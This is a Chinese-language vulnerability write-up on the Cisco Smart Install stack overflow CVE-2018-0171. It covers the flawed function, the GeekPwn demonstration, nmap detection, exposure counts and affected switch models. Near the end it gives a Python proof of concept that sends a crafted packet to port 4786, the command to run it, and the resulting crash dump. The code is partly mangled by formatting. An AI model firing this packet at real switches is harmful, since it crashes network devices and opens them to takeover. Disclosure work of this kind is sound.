思科Smart Install的远程代码执行漏洞(CVE-2018-0171)详细分析

2018-03-30 624955人围观 ,发现 14 个不明物体 网络安全

自 2010 年发布以来,思科的Smart Install 出现过若干漏洞,包括远程代码执行漏洞CVE-2011-3271、拒绝服务漏洞CVE-2012-0385、CVE-2013-1146、CVE-2016-1349和CVE-2016-6385。

2017 年 5 月,Embedi 安全公司研究员、俄罗斯白帽黑客 George Nosenko 在 GeekPwn 黑客大赛现场成功演示了一个思科交换机 Smart Install 的缓冲区堆栈溢出漏洞。赛后主办方向思科提交了漏洞信息,2018年 3 月 28 日思科发布漏洞修复补丁。

一、简介

系统:Cisco IOS,Cisco IOS-XE

供应商:思科

漏洞:缓冲区堆栈溢出漏洞[CWE-20][CWE-21]

危害:高危,AV:N/AC:L/Au:N/C:C/I:C/A:C (10.0)

研究人员在 Smart Install Client 代码中发现一个缓冲区堆栈溢出漏洞。攻击者利用这个漏洞可以不经身份验证远程执行任意代码。也就是说,攻击者能够完全控制受漏洞影响的网络设备。

Smart Install 功能是部署交换机的即插即用配置和镜像管理功能。它自动完成初始化,并为新的网络交换器加载当前操作系统的镜像。这意味着用户能够将一个交换器发送到另一个地址放置在网络中,在无配置和管理员的情况下启动交换机。当设备配置发生变化或者热插拔损坏的设备时,这个技术还为配置提供了备份。

一个使用了 Smart Install 的网络包含了一组网络设备,被称为客户端(client),它们由一个三层交换器或者路由器来提供服务,作为它们的 director。

图片.png

Director 为客户端交换器提供了一个用于镜像和配置的单点管理。客户端交换器与 director 直接或间接地连接,因此能够收到下载的镜像和配置。

通过官方文档可以了解更多关于 Smart Install 技术的信息。

值得注意的是,Smart Install 客户端是默认开启的,因此漏洞影响覆盖范围和危害性不言而喻,重点将在后文论述。

二、漏洞描述

SMI IBC Server Process 进程中包含了 Smart Install Client的实现代码。Smart Install Client在TCP(4786)端口上开启服务(默认开启),用来与 Smart Install Director 交互。

当服务处理一段特殊构造的恶意信息 ibd_init_discovery_msg,就发生了缓冲区堆栈溢出。

更具体地说,这个溢出发生在 smi_ibc_handle_ibd_init_discovery_msg,

图片.png

因为没有检查拷贝到固定大小缓冲区的数据尺寸。大小和数据是直接从网络数据包中获得的,并由攻击者控制。

三、GeekPwn2017 香港站获奖项目

 george.jpg

来自安全公司 Embedi 的白帽黑客George Nosenko 在 GeekPwn2017 黑客大赛香港站使用成功演示了这个漏洞,获得“最佳技术奖”,奖金总计 25 万元。

根据大赛提出的场景要求,选手需要在思科 Catalyst 2960 交换机上完成以下两个挑战:

1、重置或者替换 enable 密码,获得 EXEC 模式权限:

https://v.qq.com/x/page/z0616f2f7q8.html

2、劫持交换器与其他设备间的网络流量:

https://v.qq.com/x/page/y0616rq52ca.html

更多技术细节和漏洞利用编写可以从“How To Cook Cisco”一文中了解。

四、漏洞检测

如果你的思科网络设备有一个开放的 TCP 4786 端口,那么它会受到漏洞影响。你可以通过扫描找到这样的设备:

nmap -pT:4786 192.168.1.0/24

检测网络设备是否有 Smart Install Client 功能,可以尝试执行以下命令:

switch>showvstack config
Role:Client (SmartInstall enabled)
VstackDirector IP address: 0.0.0.0
switch>showtcp brief all
TCBLocal Address Foreign Address (state)
0344B794*.4786 *.* LISTEN
0350A018*.443 *.* LISTEN
03293634*.443 *.* LISTEN
03292D9C*.80 *.* LISTEN
03292504*.80 *.* LISTEN

五、互联网扫描结果

当在我们发现这个漏洞,认为它只能被用于企业内部攻击。因为安全配置的网络中 Smart Install 技术是不能通过互联网访问的。

但是通过网络扫描之后,我们发现情况并不是这样子的。

在短暂的网络扫描之后,我们立刻发现了大约250000 有漏洞的设备以及 850 万漏洞端口开放的设备。

或许这是由于 Smart Install 客户端端口 TCP(4786)默认开放,而且网络管理员并没有意识到其中可能存在的安全问题。

六、受漏洞影响的软硬件

图片.png

经验证存在漏洞的设备包括:Catalyst 4500Supervisor Engines、Cisco Catalyst 3850 SeriesSwitches 和 CiscoCatalyst 2960 Series Switches。

Cisco Catalyst 4500 SupervisorEngine 6L-E

Cisco IOS 15.2.2E6 (Latest,Suggested)

cat4500e-entservicesk9-mz.152-2.E6.bin(23-DEC-2016)

Cisco Catalyst 2960-48TT-L Switch

Cisco IOS 12.2(55)SE11 (Suggested)

c2960-lanbasek9-mz.122-55.SE11.bin(18-AUG-2016)

Cisco IOS 15.0.2-SE10a (Latest)

c2960-lanbasek9-mz.150-2.SE10a.bin(10-NOV-2016)

Cisco Catalyst 3850-24P-E Switch

Cisco IOS-XE 03.03.05.SE

cat3k_caa-universalk9.SPA.03.03.05.SE.150-1.EZ5.bin(03-NOV-2014)

此外,所有具备 Smart Install Client 的设备都可能受到漏洞影响,包括下列:

Catalyst 4500 Supervisor Engines

Catalyst 3850 Series

Catalyst 3750 Series

Catalyst 3650 Series

Catalyst 3560 Series

Catalyst 2960 Series

Catalyst 2975 Series

IE 2000

IE 3000

IE 3010

IE 4000

IE 4010

IE 5000

SM-ES2 SKUs

SM-ES3 SKUs

NME-16ES-1G-P

SM-X-ES3 SKUs

更多信息,可以查询:

CiscoSecurity Advisory

Cisco Feature Navigator

Supported Devices for Smart Install

七、POC

#smi_ibc_init_discovery_BoF.py
importsocket
importstruct
fromoptparse import OptionParser
# Parsethe target options
parser =OptionParser()
parser.add_option("-t","--target", dest="target", help="Smart InstallClient", de
fault="192.168.1.1")parser.add_option("-p", "--port", dest="port",type="int", h
elp="Portof Client", default=4786) (options, args) = parser.parse_args()
defcraft_tlv(t, v, t_fmt='!I', l_fmt='!I'):
return struct.pack(t_fmt,t) + struct.pack(l_fmt, len(v)) + v
defsend_packet(sock, packet):
sock.send(packet)
defreceive(sock):
returnsock.recv()
if__name__ == "__main__":
print"[*] Connecting to Smart Install Client ", options.target,"port", optio
ns.port
con =socket.socket(socket.AF_INET, socket.SOCK_STREAM)
con.connect((options.target,options.port))
payload= 'BBBB' * 44 shellcode = 'D' * 2048
data ='A' * 36 + struct.pack('!I', len(payload) + len(shellcode) + 40) + payl
oad
tlv_1 =craft_tlv(0x00000001, data) tlv_2 = shellcode
pkt =hdr + tlv_1 + tlv_2
print"[*] Send a malicious packet" send_packet(con, pkt)

攻击命令:

host$./smi_ibc_init_discovery_BoF.py -t 192.168.1.1

交换机应当报错并重启:

0
-Traceback=42424240
Writingcrashinfo to flash:/crashinfo_ext/crashinfo_ext_15
===Flushing messages (00:10:39 UTC Mon Mar 1 1993) === Buffered messages:
...
Queuedmessages:
CiscoIOS Software, C2960 Software (C2960-LANBASEK9-M), Version 12.2(55)SE11, RELE
ASESOFTWARE
(fc3)
TechnicalSupport: http://www.cisco.com/techsupport
Copyright(c) 1986-2016 by Cisco Systems, Inc.
CompiledWed 17-Aug-16 13:46 by prod_rel_team
InstructionTLB Miss Exception (0x1200)!
SRR0 =0x42424240 SRR1 = 0x00029230 SRR2 = 0x0152ACE4 SRR3 = 0x00029230
ESR =0x00000000 DEAR = 0x00000000 TSR = 0x84000000 DBSR = 0x00000000
CPURegister Context:
Vector =0x00001200 PC = 0x42424240 MSR = 0x00029230 CR = 0x33000053
LR =0x42424242 CTR = 0x014D5268 XER = 0xC000006A
R0 =0x42424242 R1 = 0x02B1B0B0 R2 = 0x00000000 R3 = 0x032D12B4
R4 =0x000000B6 R5 = 0x0000001E R6 = 0xAA3BEC00 R7 = 0x00000014
R8 =0x0000001E R9 = 0x00000000 R10 = 0x001BA800 R11 = 0xFFFFFFFF
R12 =0x00000000 R13 = 0x00110000 R14 = 0x0131E1A8 R15 = 0x02B1B1A8
R16 =0x02B1B128 R17 = 0x00000000 R18 = 0x00000000 R19 = 0x02B1B128
R20 =0x02B1B128 R21 = 0x00000001 R22 = 0x02B1B128 R23 = 0x02B1B1A8
R24 =0x00000001 R25 = 0x00000000 R26 = 0x42424242 R27 = 0x42424242
R28 =0x42424242 R29 = 0x42424242 R30 = 0x42424242 R31 = 0x42424242
Stacktrace:
PC =0x42424240, SP = 0x02B1B0B0
Frame00: SP = 0x42424242 PC = 0x42424242

八、极棒比赛现场视频

*英文版发布于 Embedi 博客

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